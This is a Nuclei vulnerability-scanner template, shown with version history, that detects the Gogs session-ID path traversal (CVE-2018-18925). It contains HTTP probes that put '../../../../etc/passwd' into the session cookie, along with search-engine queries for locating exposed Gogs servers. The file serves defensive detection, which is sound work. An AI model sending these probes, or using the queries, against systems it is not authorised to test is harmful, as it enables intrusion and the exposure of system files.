nuclei-templates/http/cves/2018/CVE-2018-18925.yaml

49 lines
2.0 KiB
YAML
Raw Normal View History

2022-02-09 20:40:54 +00:00
id: CVE-2018-18925
2022-02-09 20:40:54 +00:00
info:
name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
2022-02-09 20:40:54 +00:00
author: princechaddha
severity: critical
description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
2023-09-06 12:57:14 +00:00
remediation: This issue will be fixed by updating to the latest version of Gogs.
2022-02-09 20:40:54 +00:00
reference:
- https://www.anquanke.com/post/id/163575
- https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
- https://nvd.nist.gov/vuln/detail/cve-2018-18925
- https://github.com/gogs/gogs/issues/5469
- https://github.com/j4k0m/CVE-2018-18925
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-18925
cwe-id: CWE-384
2023-10-14 11:27:55 +00:00
epss-score: 0.09538
2024-05-31 19:23:20 +00:00
epss-percentile: 0.94736
2023-09-06 12:57:14 +00:00
cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: gogs
product: gogs
2024-05-31 19:23:20 +00:00
google-query: intitle:"sign in - gogs"
shodan-query: cpe:"cpe:2.3:a:gogs:gogs"
fofa-query: title="sign in - gogs"
2024-01-14 09:21:50 +00:00
tags: cve,cve2018,gogs,lfi,rce,vulhub
2022-02-09 20:40:54 +00:00
http:
2022-02-09 20:40:54 +00:00
- raw:
- |
GET / HTTP/1.1
2022-02-10 06:50:55 +00:00
Host: {{Hostname}}
2022-02-09 20:40:54 +00:00
Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
- |
GET / HTTP/1.1
2022-02-10 06:50:55 +00:00
Host: {{Hostname}}
2022-02-09 20:40:54 +00:00
Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
matchers:
- type: dsl
dsl:
- 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
# digest: 4a0a00473045022100c343b83bb6fcdc9813518d37b54f04f87156c39b79722af6ac38cc7fdd596bca0220703ec1e97ae904cd7b353800c82f2b395a48062f8439eec1b4b4a2a9eabe91c9:922c64590222798bb761d5b6d8e72950